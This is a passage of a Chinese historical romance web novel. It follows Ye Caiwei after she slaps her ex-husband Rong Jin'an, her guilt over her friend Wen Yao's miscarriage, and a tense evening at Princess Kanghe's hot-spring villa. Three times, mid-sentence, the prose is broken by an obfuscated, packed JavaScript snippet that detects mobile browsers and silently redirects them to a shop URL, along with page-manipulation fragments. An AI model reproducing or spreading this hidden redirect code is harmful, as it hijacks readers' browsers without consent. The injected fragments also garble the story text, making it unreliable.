“你知道我刚刚想起什么吗?”还在笑,“先前有一回,你在我房里,你爹突然来找我,我们也这样躲在门背后,明明紧张得要命,你却趁我不注意,偷偷亲我。” 叶采薇扬手给了他一记响亮的耳光。 她也不知道自己哪来这么大的力气,刚才还僵硬迟钝,可是手掌的火辣和那声清晰的脆响,昭彰着她忍无可忍之下的冲动。 这一掌极重,她拇指的指甲尖,甚至直接将容津岸的唇角刮破。 那里有血流了下来。 容津岸用他拇指的指腹抹去血迹,他的皮肤本就白,被她狠狠一扇,五指鲜明的形状,盖印一般红肿,一眼便能看出那是掌掴的指痕。 男人冷笑。 “我不会向你道歉的,”叶采薇的手掌和心,都像被扔进了劈啪作响的火炉中炙烤,“殴打朝廷命官的罪名,总不会比行贿要重。” 转身开门的时候,手掌还在疼着,她已经走到了自己的房门口,容津岸却说: “你确实不需要向我道歉,可是温谣呢?你不需要向她道歉吗?” 叶采薇的脚步滞住。 “你一走就是五年,五年来没有半点音讯,温谣做错了什么,要得到你如此的对待?” “那是我和她的事。”叶采薇没有回头,声音却不受控地颤抖,“我与谣谣二十年的姐妹之情,哪里需要你一个外人说三道四?” “是,她是把你当做二十年的姐妹,但你却未必。毕竟,她因为担心你而失去了腹中的骨肉,你却躲在池州,逍遥快活,对她不闻不问。” 容津岸在说什么? 凉水被洒进了滚烫的油锅,炸得遍地狼藉,叶采薇转身:“你胡说!你、你信口雌黄!谣谣她怎么会?!” “即便这样,她也没有怪过你。孟崛一直在大理寺,去年升任了大理寺左少卿,他与我分属不同部门,却直到我这次南下前,还在嘱托我打听你的近况。薇薇。” 容津岸口中的“孟崛”,是温谣的夫君,当年多亏了他,冒着杀头的危险,带叶采薇夫妇到天牢里,见了叶渚亭最后一面。 叶采薇眼泪汹涌而下。 “我知道你恨我,事情做绝,也是为了躲我。”容津岸立在原地,“孟府搬了新宅,和容府同一条街。温谣她很想你。还有温谣的两个兄长,他们也很想你。” 她与他们兄妹三人自幼一同长大,但是温谣的两个兄长,早就已经各自成亲了。 容津岸说这些做什么? *** 问鹂回来的时候,叶采薇正坐在案前,认真写着给温谣的长信。 她脸上被几次弄脏弄乱的妆容早已洗净,人罩在鱼牙绸轻软的睡袍里,瘦削的背脊却因为反复斟酌而直挺。 问鹂以为她是忽然有了创作灵感,正在往自己那本即将完成的书稿里添加,便不去打扰。 叶采薇却放下笔,转过身,把今晚发生的事情,一五一十说了。 “我还是不敢相信,谣谣为了我失去了腹中的骨肉……”说到此处,她已然红肿的杏眼,又变得湿润起来。 “容津岸一定是在故意让我伤心的对不对?因为我打了他一巴掌。”她撑起眼睫,微微摇头,语速加快,“对,就是故意报复我。昨天我说他‘表里不一’被他偷听到,今天他就报复我,在学生们面前提皇子夺嫡的事,故意让我伤心。” 问鹂抿了抿嘴唇。 其实她相信容津岸说的话,因为以温谣的脾性,完全做得出那些事。 温谣母亲的娘家和叶家有着深厚的渊源,温谣也因此与叶采薇从小相识。两人是手挽手一起长大的闺中蜜友,不同于叶采薇的热烈大胆,温谣内向怯懦,却屡屡在她需要的时候挺身而出,当年还替她和容津岸的荒唐事打过不少掩护。 太子逆案爆发后,叶采薇天塌地陷,温谣几乎日日都到容府来陪她。后来,叶采薇决定与容津岸和离,温谣劝说无效后,又明里暗里出了最多的力帮她离开。 临别时,两人哭作一团,叶采薇还答应了她,一到落脚之处,便与她书信联系。 从头到尾,温谣都把叶采薇放在首位,从不提自己的事,谁能想到,那时候她已经怀有身孕? “是我为了躲避容津岸,狠心背弃了与谣谣的承诺,只字片语也不给她,害她因为担心我失去了孩子……” 问鹂的表情不言而喻,叶采薇再不自欺欺人,泪珠大颗大颗地滚落。 她为人爽直,自问对得起所有的人,独独对不起把她视作亲姐妹的温谣。 问鹂冲上来把叶采薇抱住。 “我也是做母亲的人,怎么会不懂失去孩子的痛苦……”叶采薇的眼泪把问鹂胸口一片一片打湿。 问鹂笨拙地安慰,却不会代替温谣原谅叶采薇,她没有这个资格。 她很想让姐妹两人好好相见。 这次与容津岸意外重逢,会是一个新的契机吗? 晚上,叶采薇做了好长好长的梦。 梦里的她回到了小的时候,软软糯糯,一团孩子气,不知谁惹到了她,她死活不愿意穿上新衣裳,跟叶渚亭去温府做客。 “薇薇听话,穿上新裙子,阿爹给薇薇奖励。”叶渚亭对她说话的语气,总像是冬日融融的炉火。 “奖励今日少背三首《全唐诗》?”叶采薇不满,“阿爹这不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730563|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奖励,是对女儿的惩罚!” 叶渚亭宠溺地笑,捏了捏她肉蛋一样的脸,“阿爹奖励薇薇骑在阿爹肩上,要不要?” 小女孩一听,果然两眼放光,自己跳下软榻,欢欢喜喜挑新衣裳去了。 叶渚亭生得高大挺拔,坐在他的肩上,叶采薇很有“一览众山小”的成就感。 也是坐在叶渚亭的肩上,叶采薇第一次见到温谣。 这个和她同一年出生的姑娘,小小的个子,温柔的眉眼,不爱说话,笑容腼腆。 下一个梦,叶采薇却突然和容津岸在一起。 那是他们的事刚刚被叶渚亭知晓、两人都惨遭叶渚亭的毒手之后,整夜长跪伤了他们的膝盖,叶采薇搂住容津岸的脖子撒娇: “怎么办呀,咱们还说好了一起去爬池州的那座山,现在膝盖伤成这样……到时候,哥哥背我好不好?” 那座山,他们终归是各自去爬了。 只是撞在了同一天。 叶采薇再次醒来的时候,已经是第二日的午后,未时过半。 这一晚她发了高热,额头滚烫滚烫,郎中大夫来施了针,高热这才退下去。 大约是因为昨晚在客栈门口淋的那一点雨,还有如上山下海般跌宕起伏的心情,除了产子时从鬼门关前过,她很久没有病成这样了。 因着这来势汹汹的病,叶采薇自然错过了今日庆林书院的讲会。 昨晚容津岸并没有住在隔壁屋子,甚至没有住在这间客栈。住在底楼的几个学生,一早来听说叶采薇病倒了,纷纷真心实意地关切,然而讲会又实在是难得有,最后又都悻悻去了庆林书院。 “给谣谣的信寄出去了吗?”叶采薇小口抿着问鹂端来的温水。 问鹂摇头:“姑娘一大早便烧起来了,奴婢没来得及去,等下去宜韵酒楼为姑娘打包点饭菜回来,顺便去趟驿馆寄信。” 叶采薇点头:“昨晚的饭菜,害你也没吃上两口,都怪容津岸,非要提皇子夺嫡的事败兴。” 给温谣的长信最后,叶采薇附上了她在青莲书院的地址。 虽然温谣不一定会原谅她,但她还是希望能收到来自京城的回信。 她没在信里说她生了容津岸儿子的事,事实上,知道这件事的人极少,甚至她的学生们,连她曾经成过亲都不知道。 就算有一天容津岸真的跑到青莲书院去,也根本不会发现这个孩子的存在。 问鹂出门寄信买饭,一去就是一个多时辰。 叶采薇盘算着等学生们从讲会回来,今晚大家好好吃顿饭,明日一早,出发回东流县、回青莲书院。 已经出来了三日,她很想念儿子。 她的儿子聪明懂事长得还漂亮,她想早点抱到他。 然而问鹂带回来的消息,却又一次让叶采薇皱了眉头: 原来今日,那康和县主也去了讲会,恰巧碰见佟归鹤,便说自己在城郊有一处汤泉别业,邀请他们几个一并去玩。 佟归鹤等人到底还留着贪玩的孩子心性,一听说有私家汤泉,恨不得心都飞过去。 “我今日才发了高热,汤泉这种活动,就不必去了。”叶采薇说。 “奴婢本来也是这个意思,谁知道康和县主一听说姑娘你病了,非说汤泉里的硫磺最能治病,还说她会把池州府城里最好那个大夫请来,让姑娘放心,佟归鹤他们一听,就都非要奴婢来劝姑娘。”问鹂也是满脸无奈。 “前天在山庄,康和县主对我那么不客气,今天怎么态度直接转了个大弯?” “听佟归鹤说,好像她跟容大人还在吵架,讲会的时候,容大人都不带搭理她。” 叶采薇忽然想起了什么:“说起来,容津岸脸上的巴掌印消了吗?” 问鹂摇了好几下脑袋: “这事佟归鹤也找奴婢打听了,奴婢当然装作不知情。据说康和县主在讲会上一见到容大人脸上那巴掌印,一声尖叫,快把房顶都掀翻了,到处嚷嚷说被她抓到谁打了她的津岸哥哥,一定扭送到池州知府那里,先打上五十大板,再关到牢里,过年都不许放出来。” 叶采薇笑了:“你说,如果我告诉她,她的津岸哥哥是被我打成那样的,她会不会气得想直接掐死我?” “那姑娘还去汤泉别业吗?康和县主的车马还在楼下候着呢。” 叶采薇站起来:“京城的皇家汤泉我没泡够,在这池州有人请客,我为什么不去?” 有康和县主在场,容津岸可不会再那么放肆了。 7. 真心话 07 康和县主那座汤泉别业着实有些远,马车摇摇晃晃,一直到日薄西山,才终于停了下来。 叶采薇下车,见别业门口的几名仆妇都迎去了她前面的那辆马车。 穿着石榴红烟纱散花裙的康和县主满头珠翠,在婢女的搀扶下落了地,一抬眼,立即惊叫起来,差点穿破所有人的耳膜: “津岸哥哥!” 然后,就见耀眼夺目的石榴红一溜烟小跑,奔到刚刚停在叶采薇身后那辆马车的下面。 叶采薇差一点就被撞倒了。 “津岸哥哥你终于来了!我还以为、以为你不要我了呢!”康和县主声音越说越柔,娇得从骨子里酥了出来。 没听见容津岸说了什么,叶采薇不关心他。 只是感到奇怪,容津岸原本没打算来这座汤泉别业吗? 反正与她无关。 进了别业,兵分两路。 叶采薇等人,被安排先进了一些茶点,说是空腹泡汤泉容易引发昏厥,真正的晚膳,安排在了汤泉之后。 等到茶点上齐、外人都退下,按捺不住的学生们这才彻底松快,找叶采薇说起话来。 先是关心她的身体,在得知她已然无碍之后,便你一言我一语,热情洋溢地讲起了今天庆林书院那场声势浩大的讲会。 从盛大的讲会布置、主讲人、大致主讲的内容,到台下听众的回应和提问,以及火花四溅的辩论,事无巨细,恨不得连每一个端茶小哥姓什么叫什么是哪里人都挖出来细说一遍。 叶采薇听得津津有味,很是遗憾,自己的病来得不是时候,就此不幸错过,谁知有人话锋一转,忽然说: “先生,还真是没想到,康和县主竟然和你长得有点像,就是……就是确实,不如先生的风韵远甚。” 后面半句,声音越压越低。 叶采薇怔愣,一旁的佟归鹤作为先前唯一一个见过康和县主样貌的人,此时优哉游哉: “拿人手短吃人嘴软。我说,咱们现在坐在人家的别业里,吃着人家的饭,这样背后议论人家不好吧?” 被点的人一恼,拐了个语调,睇回去: “既然佟公子你什么都知道,那不如谈谈你的高见,容大人脸上的巴掌印,是怎么回事?” 这话猝不及防地来,叶采薇心头一跳,马上装作第一次知道这件事,十分夸张地瞪大了杏眼,惊讶: “什么……巴掌印?他、容大人被打了吗?” 八卦好事者没耐心细说来龙去脉,决定先声夺人,抛出他的惊世结论: “今天讲会上,我坐得位置离容大人近,仔细观察了一下那个巴掌印的大小和形状……依我愚见,九成九是个女子打的,下手很重,而且呀,这个女子,肯定不是康和县主。” 叶采薇耳根发烧,艰难咽下口中的津液。 其他人注意力没在老师的身上,只被这个惊世骇俗的结论激起了兴致,纷纷围拢。 谁知别业里的仆妇却刚巧在此时来了,说是汤泉已经准备好,请各位客人更衣入池。 讨论被迫中止。 *** 汤分男女,叶采薇裹着洁白的帨巾独自从更衣间出来,见到康和县主已经施施然入了池。 县主头上的一堆珠翠被卸除,偏黄的发丝也高高挽起成髻,身边两个婆子堆笑地夸着她肤如凝脂清水出芙蓉,而她的贴身婢女,正在朝她露出的颈项和肩背上均匀地撒着玫瑰花瓣。 “鲜花瓣入浴能在身上持久留香,姚先生,你要一起试试吗?”叶采薇下水的时候,县主懒懒问。 温热的汤泉缓缓地浸过了叶采薇光洁修长的玉颈,满眼烟雾缭绕,她摇头多谢。 她其实不太喜欢过度的香气,从前叶渚亭也给她带过皇帝赏赐的玫瑰香露,说是波斯国进贡的,一滴就值十两银子,她不愿意放着积灰,转头就送给了温谣。 香露涂在谣谣的身上,就好闻多了。 对话戛然而止,叶采薇不觉得尴尬,反正除了两个婆子,康和县主的贴身婢女,也开始变着花样地夸自己的主子。 有几只麻雀落在庭院的树梢上,叽叽喳喳。 过了会儿,有婢女过来,在池边跪下,对康和县主耳语了几句,县主便径直起身。 “哗哗”两下水声,叶采薇的青丝和面颊上被溅了无数水花,还有几滴落入她的眼睛里,她不得不伸手去揉。 “津岸哥哥刚刚邀请我单独去另一个池子里泡,姚先生你自便吧。”康和县主的话急切而敷衍。 主人家一走,周遭顿时安静下来,刚刚还在叽叽喳喳的麻雀也不知飞到哪里去了,叶采薇落得清净,缓缓阖上双眸,闭目养神。 又过了一会儿,一直不见踪影的问鹂过来,半蹲下,把手放在自家姑娘的额头,探了探她的体温,笑说: “那边闹了大动静,姑娘你倒舒舒服服的。” 叶采薇不睁眼,湿着手抓住了问鹂洁白的腕子。 “也不知道这别业里的下人们怎么回事,大约传错了话,康和县主那边以为容大人邀请她单独泡汤,专门过去,谁知道那边汤池都是凉的,可怜小县主特地换了新的寝衣,在池水里白等了老半天,知道真相,这会儿正在大发雷霆呢。” 一直到叶采薇泡完汤换好衣衫出来,康和县主的怒火还烧得旺旺的。 用餐的地方在凉亭,叶采薇走过去的时候,男人们都到了,围坐在紫檀木的八仙桌边,别业的婢女正在上茶。 趁着落座的混乱,叶采薇悄悄观察了一下容津岸脸上那个巴掌印。 不得不说,昨天她确实下了死手。现在他穿了一身月白的浣花锦长袍,衬得他皮肤更加透白,五指清晰的暗红色巴掌印像是破坏白璧的瑕,甚至仔细看,还微微凸起,并未消肿。 然而此人气定神闲闭目养神的姿态,好似根本不在意那张俊俏的脸被人看了笑话,只当一切与自己无关。 真是个道貌岸然的伪君子呢。 ——“这茶怎么不是用旧岁的梅雪泡的?”康和县主突然尖叫,伴随着一声碎响。 天青汝窑杯被狠狠摔在地上,“水没滚就冲,是上赶着给你们死了的老娘去烧纸吗?” 几个学生不知道先前汤池里的插曲,又哪里见过这个阵仗,登时眼观鼻鼻观心,大气不敢出。 别业里的小丫鬟哆哆嗦嗦过来收拾残局,康和县主一见小姑娘那可怜巴巴的委屈模样更是气不打一处来,又劈头盖脸好一顿训。 叶采薇知道小县主这是借题发挥,放下手中刚喝了一口的茶盏: “县主息怒,县主息怒。敬亭绿雪产自宁国府敬亭山,最适合用新鲜山泉水冲泡。县主你不辞辛苦,从山中带回泉水来,这泉水清冽非常,配合敬亭绿雪,已然是茶中仙品。” 她顿了顿,还想为小丫鬟说话,却听一直沉默不语的容津岸突然开口: “姚先生对敬亭绿雪,见解倒是颇为独到。” 康和县主一愣,又努努嘴: “梅雪难收,珍贵无比,普通的山泉水,又怎么能相提并论?” “池州地处南方,冬季落雪,十分难得。窖藏梅雪配县主的明前龙井,自然是民妇平日里根本无法接触的上上仙品。” 叶采薇顺口又夸了在山庄时康和县主反复炫耀的明前龙井。 县主神色稍舒。 而这片刻工夫,那被骂得狗血淋头瑟瑟发抖的小丫鬟,早已经趁机溜走。 “听闻姚先生今日偶感高热,以至于错过了庆林书院的讲会,眼下可大好了?”容津岸又说。 叶采薇不知话题怎么突然转到她的健康上来,犹豫间,佟归鹤却先接了话: “先生经过发汗和施针已然无碍,多谢容大人挂怀。” 容津岸修长的手指一顿,端起自己的茶盏:“无碍就好。” 说起这个,叶采薇倒突然想起,下午时康和县主为了劝她一并来这温泉别业,承诺会把整个池州府城里最好的那个大夫请来。 大夫人呢? 康和县主哪里知道叶采薇的疑问,她只想再热热场子,把方才自己丢了的面子找补回来,便派人下去,拿了个一尺见方的木盒回来。 笑说这是自己从池州府城的夜市上淘来的新鲜小玩意,最适合人多的时候一起玩,叫“真心话与大捉弄”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730564|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩法便是一桌人掷骰子,被骰子上的点数数到的人,抽取木盒中的骨牌,要么就回答骨牌上的“真心话”,要么就实践骨牌上的“大捉弄”行为,否则只能罚酒。 如此新鲜有趣的玩意学生们自然跃跃欲试,康和县主发了话,酒和酒杯都被摆上了桌,众人马不停蹄玩了起来。 第一个被骰子摇中的便是佟归鹤,他抽到的骨牌上,“真心话”那一面问的是: 你生平做过最大胆的事是什么? “嗯……虽然还没有做,但我觉得是算数的。”佟归鹤深吸一口气,像是下了很大的决心一般: “我、我对一个年长我四岁的女子情深不渝,已经下定了决心,只要这次科举考取了功名,就去向她提亲。” 容津岸的目光扫过叶采薇。 叶采薇的学生里,并非都是粗枝大叶的青年,其中有人早就看出了佟归鹤对老师呼之欲出的情意,趁机揶揄道: “哎呀,你家不是早就在为你相看,准备年底定亲了吗?怎么,你还能等到明年?” 佟归鹤双耳涨得通红,瞋目回视: “他们是他们,我是我,我不管,我只要娶我心爱的女人。” 康和县主满脸鄙夷,对人老珠黄的苟且很不耐烦,催促佟归鹤赶紧掷骰子。谁知福至心灵,数来数去,数到了她自己。 她不紧不慢地从骨牌堆中抽出一张,然后一字一句念出来: “在座之人中,是否有你心悦的??心悦他哪一点?” 康和县主紧紧握着骨牌,羞涩地看向坐在她右侧的容津岸,对着那鲜红瞩目的五指印,慢吞吞说: “有,有我心悦之人。我心悦他的容貌、他的才华、他的举手投足、他的……” “县主娘娘,骨牌上只让您说一点就够啦。”有人很不识相地提醒。 县主想了想,继续慢吞吞说: “哪一点都好,哪一点我都喜欢。” 说完,红着脸,低下了头。 场上再无人说话,谁也不敢开口催促,过了好久,容津岸冷冷:“继续吧。” 康和县主只好悻悻地把那张骨牌塞回去,又撅着嘴,扔了骰子。 谁知这次竟然数到了叶采薇。 骨牌数量庞大,叶采薇随便抽了一张,只见上面的问题是——“在座之人中,是否有你心悦的?” 咦?这好像是康和县主方才抽的那张,怎么上面只有这一个问题? 但摆在叶采薇面前的问题是这个“真心话”,先前佟归鹤把话说成那样,容津岸也在场,她不可能回答,只好将骨牌翻过来,看那个“大捉弄”: 一口气喝三杯酒。 三杯,还在她能承受的范围,于是她毫不犹豫照做。 烈酒下肚,她扔出了骰子。 这一回,点数数到了容津岸的头上。 清流领袖连抽牌这样微末的动作都做出了与众不同的矜贵和淡然,清晰凌厉的大手捏着小小的骨牌,说: “让我说一个秘密,可以。你们不是都很好奇,我脸上的红印是怎么来的吗?” 在场之人一听,登时来了兴致,齐齐直勾勾地看着他。 只有叶采薇心虚,垂下眼帘,故意拨弄着自己空了的酒杯。 “昨晚睡前不注意,被老虎咬了一口。”容津岸说。 叶采薇属虎。 可是其他人当然不可能联想到她的头上,只当容津岸在耍弄他们,尤其是康和县主,更是趁机扑上去,尖叫: “津岸哥哥,你怎么能这么坏呢?不行,这根本不是什么秘密!必须得另说一个!” 容津岸不动声色地躲开了康和县主,又说: “那我另说一个,其实,我最讨厌有人叫我‘津岸哥哥’。” 喧哗戛然而止,康和县主脸色苍白,失魂落魄地跌坐回去,容津岸无奈,只好将手中的骨牌翻面,向其他人展示: “既然两个秘密你们都不满意,我就只好做这个了。” 众人这才看清,上面写的是: 与左侧第二人十指交握,直到游戏结束。 他左侧坐着康和县主,再左侧,就是叶采薇。 8. 凉亭 08 一阵说不清道不明的沉默。 “这都是什么跟什么?” “十指交握——” “谁设计的这破游戏?是没有脑子是不是,怎么、怎么还能,搞出这种有碍男女大防的惩罚来?” 佟归鹤破口大骂。 叶采薇被巨大的震惊包裹,忘记制止自己的学生继续那明显失礼的言行,等她忽然抬头的时候,只见佟归鹤已然站在了她的右后方: “先生,这个位子四面透风,我与你换一换可好?” 然后佟归鹤又对容津岸说: “佟某打得粗糙,手心多汗,容大人不会介意的吧?” 意思再明显不过。 容津岸眸色未动,但将手中的骨牌插回原处: “我自愿罚酒,三杯,和姚先生方才一样。” 话已至此,其余人再不敢咄咄相逼,再一次集体沉默,准备无声无息揭过这场插曲。 只有康和县主笼罩在惨淡愁云中,微微垂着脸,反复撕咬嘴唇。 大约是容津岸那句“最讨厌有人叫我‘津岸哥哥’”给她的打击太沉重。 “津岸哥哥……”容津岸掷出骰子的同时,她再次娇腻着嗓子,水灵灵低唤。 眼眶有些红,分明是不甘心。 容津岸没有回应。 到底是个十六岁的小姑娘,被心爱的男人当众下面子,泪珠已经堆在了眼角。 叶采薇想到,从前容津岸也这样对待过自己,冷漠疏离,如高不可攀的清冷皓月。 她忽然生出了许多不忍来,掏出自己的巾帕,递到康和县主的眼前: “县主,方才风大,吹了沙子入眼,不舒服吧?” 康和县主斜斜瞥了一下叶采薇的巾帕,一句话不说,只掏出了自己的,快速拭去泪痕,目光仍旧黏住容津岸。 容津岸掷出的骰子点数数到了另一个男学生,那人接过话题,继续玩起已被打断了许久的“真心话与大捉弄”。 好几轮过去,康和县主与容津岸都再没被骰子的点数点中,好在叶采薇也没有,八仙桌上恢复热闹之后,晚膳也已准备妥当,便顺利转为开餐了。 这一整日,有庆林书院的讲会,还有一同洗泡汤泉和进行游戏,相比于昨日在池州府城的那餐晚饭,几名学生对容津岸已然亲近了不少。用餐时,举止和言语都放松了拘谨,而容津岸也会捡着自己感兴趣的话题,说上几句。 桌上的气氛尚算融洽。 但有人怏怏不服。 “津岸哥哥,我给你夹了这么多菜,你怎么一口都不吃?是都不合你口味?” 康和县主委屈巴巴地提问时,佟归鹤正跨过千山万水,把比他手指还长的螃蟹大腿,夹到叶采薇的盘中。 蟹黄泛着汪汪的油气,蜿蜒流开。 叶采薇心下打鼓,对佟归鹤尴尬一笑,又听耳边康和县主说: “津岸哥哥你想吃哪一道菜,我再给你夹?” 容津岸的目光却淡淡扫过了叶采薇的盘子,说: “这个蟹黄,看起来倒还不错,只可惜……” 叶采薇忽然想起,这个人现在在守孝,不可以食用荤腥。 康和县主真的全然不知吗? 但容津岸的话仿似天降恩旨,康和县主欢天喜地,拾起银箸,她的贴身婢女却匆匆过来,在她耳边低语。 “赔钱?一个破杯子而已,本县主摔了便摔了!”她的眉头拧在了一起。 那婢女一脸为难,又小声说了什么。 “那就把我那只翡翠镯子赏给她,大惊小怪什么?”康和县主十分不耐烦。 ——“请恕奴婢眼拙,县主的翡翠镯子,奴婢只能瞧出是个最为普通的豆种,要说稀有,还请县主指点迷津。”谁知话音刚落,有一个陌生而严厉的女声,自他们身后响起。 那是一名干练利落的仆妇,穿戴比其他婢女要明显好上一层,有钗环装饰,衣衫笔挺,发髻梳得一丝不苟。 来人并非善茬,康和县主的脸色变得疑惑又羞恼,正要发作,她那贴身婢女抢先说道: “县主的袖口沾到了汤汁,钱妈妈可否引个路,让县主去更衣?” 这是不愿意把她们之间的矛盾闹到面上,钱妈妈八面玲珑、是个厉害的角色,自然明白。 于是三人便离了席。 康和县主是邀请人来做客的东家,她一走,桌上的叶采薇师徒几人,便也不好继续用膳,只能放下筷箸,眼观鼻鼻观心,各自沉默地喝茶。 但这沉默不过片刻,又一次被打破。 “弯弯绕绕说了一大堆,你究竟什么意思?觉得本县主赔不起那点东西是不是?”康和县主恼怒的声音,隔着半片竹林,清晰地传了过来。 凉亭中的几个学生,互相对视了一眼,又各自屏住呼吸。 “那只天青汝窑杯乃是我家老爷的心爱之物,跟随老爷的年头比县主的年龄还要长,有市无价,县主自小生活在西南边陲,多受蛮风瘴雨,不曾见过、不识宝物,也是自然的。” 康和县主的婢女一听这话就来了气,直冲冲回道: “钱妈妈这是什么话?我们县主虽然是今年才上的京城,但她却是陛下万岁爷破格亲封的县主,尊贵异常。你也不过是仗着伺候钱老爷年头久才被赐姓的钱氏,尊卑有别,县主座下,岂能容你放肆?” 谁知钱妈妈立刻答: “令尊与我家老爷从前有交,奴婢与县主自然也算主仆。而容不容得下奴婢,是县主的气度;能不能让县主容下,是奴婢的本事。” “你——”康和县主气结。 “县主受陛下隆恩,自然可以随心所欲,不打招呼便将客人带到我家老爷的别业。奴婢千恩万谢,领着别业上下尽心尽力服侍,是奴婢职责所在。然而起先,汤泉中的那件事,县主非但没有感谢传话之人,反而迁怒于我家老爷的瓷杯,恕奴婢斗胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730565|189647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是县主大错特错。” 凉亭里的叶采薇听着,知道她们在说什么。 在汤泉里的时候,康和县主以为容津岸主动邀请她单独泡,特意换了新的寝衣,谁知道过去白等一场,落了个空欢喜。 “你……你什么意思?”康和县主难以置信。 “容大人萱堂新丧,容老夫人仙逝才有月余,容大人正处在热孝中,这是许多人都知晓的事。县主与他并无婚姻之约,若汤泉一事真如县主所愿,林林总总传到外面,惹来流言蜚语,以容大人在朝中的地位和齐王殿下跟前的分量,我家老爷实在担不起这个责任。” 佟归鹤听着,忍不住在心中嘀咕: 康和县主不是容大人的未婚妻吗?怎么这钱妈妈又说他们二人毫无关系? 但容大人母亲新丧,总不可能是假的,这样,岂不是…… 而竹林那头的康和县主,显然已经彻底失了自控,骂道: “姓钱的,你算是个什么东西,竟然也敢来教训我?我阿爹可是齐王表叔跟前的红人,你主子有几个臭钱又怎么样?见了我阿爹、也得点头哈腰,你这条汪汪叫的母.狗,也配来教训我?” “县主贵人事忙,大约还未收到消息,令尊前两日不小心疏忽,犯了个大错,齐王殿下雷霆震怒,准备再让他外放回西南,吏部调任的公文,是我家老爷草拟的。” 钱妈妈一顿,继续不卑不亢说道: “县主若是不信奴婢,可以自行向令尊求证。只不过奴婢有奴婢自己的职责,老爷的瓷杯无故损坏,必须要给老爷一个交待。” “钱妈妈,你非要这样不依不饶吗?”康和县主的语气明显软了下来。 “县主的食邑有限,如若实在囊中羞涩,奴婢倒是有个法子,县主向令尊求证时,顺便将此事说明,一切交给令尊处理?” 听到此处,凉亭之中的叶采薇,回头把问鹂招到了跟前,向她耳语一番。 问鹂点头说好,很快便沿着康和县主三人的路径,走到她们身后。 “钱妈妈。”问鹂温柔行礼,从袖笼中掏出一张银票,递到钱妈妈面前。 “那个天青汝窑杯,是我家先生不慎撞碎的,毁掉钱老爷心爱之物,我家先生愧疚不已。这里是一万两,各地的天宝钱庄里都可通兑,如若不够赔偿,待我家先生回到东流县后,会将剩余的部分,快马加鞭送过来,不知钱妈妈,能否接受这样的处理?” 康和县主憋得满脸通红,说不出话来。 钱妈妈一眼便认出了天宝钱庄的独特印记,全天下最大的钱庄,可比末流的皇亲国戚更有信用,当下神色缓和下来: “倒是绰绰有余的。” “那剩下的银两,权当我家先生,感谢县主和钱老爷今日的盛情款待。”问鹂笑着: “眼下天色已晚,我们不便在此多留,不知钱妈妈可否安排车马,送我们回到池州府城?” 容津岸忽然冷笑一声。 9. 跟踪 09 第二日一大早,叶采薇一行自池州府城出发,往东流县归去。 学生们不回书院,她与他们不同乘一车,刚刚好,可以再舒舒服服补个觉。 昨晚上可谓是兵荒马乱,等到赶回池州府城都已过了四更天,睡了不到两个时辰又继续出发,可把她折腾坏了。 等叶采薇从昏睡中悠悠转醒,问鹂看着她白皙皎洁的脸颊上被压出的深深红印,笑着叹气,问她自己憋了一晚上的话: “奴婢实在是看不懂,康和县主先前如此对待姑娘,她遇到大麻烦,姑娘却为何要帮她,以德报怨?” 叶采薇反手撑着脸颊,目光灵动,歪头看问鹂: “如果我说,是我看那个天青汝窑杯成色极好,难得个中仙品,觉得摔了实在可惜,你信不信?” 又说: “这次,是我趁着秋闱前带学生们出来放松的,却不想运气不好,状况频出,都未尽兴。昨晚那个情况,我若不出手,大家就会一起被赶出别业,男人好面子,肯定觉得难堪,不如我这个当老师的把面子挣回来。” “反正,我也不差这点钱。” “可是……容大人还在呢,即使他没带那么多银两,姑娘给游娘子的帛金,应该也够他帮康和县主赔那个瓷杯了吧?”问鹂皱眉。 叶采薇不说话。 “不过,也不能这么说,他又不是县主的未婚夫。”说到这里,问鹂又忍不住摇头感叹: “奴婢也不是马后炮,先前姑娘说容大人在丁忧,奴婢不就觉得奇怪,怎么康和县主还能口口声声、不久后与容大人成婚吗?果然吧,这县主弄了那么大的阵仗,结果,全都是她一个人编出来的,所有人都信了她的谎话。” 问鹂说得很是解气,叶采薇却冷笑: “怎么,容津岸又美美隐身了?自始至终,他有澄清的意思吗?还不是任由旁人误会!” 她不屑: “狗东西,还是老样子,就享受小姑娘主动倒贴,然后屁股一拍,溜之大吉。” 问鹂被她难得粗鄙的言语逗得“噗嗤”一笑,缓了好一会儿,才说: “昨日,在姑娘泡汤的时候,奴婢去跟容文乐说了会儿话。” 容文乐是容津岸当年考取会试第一后在路边偶遇的小少年,生得质朴憨厚却又极会讨人喜欢,容津岸看他孤苦无依,便将他留在身边做了随侍。 “温大姑娘那些事,都是真的。当年,姑娘离开京城月余,她就滑了胎,孟大人为此伤心了很久。” 问鹂还如当年一样,称呼温谣为“温大姑娘”而不是“孟夫人”。 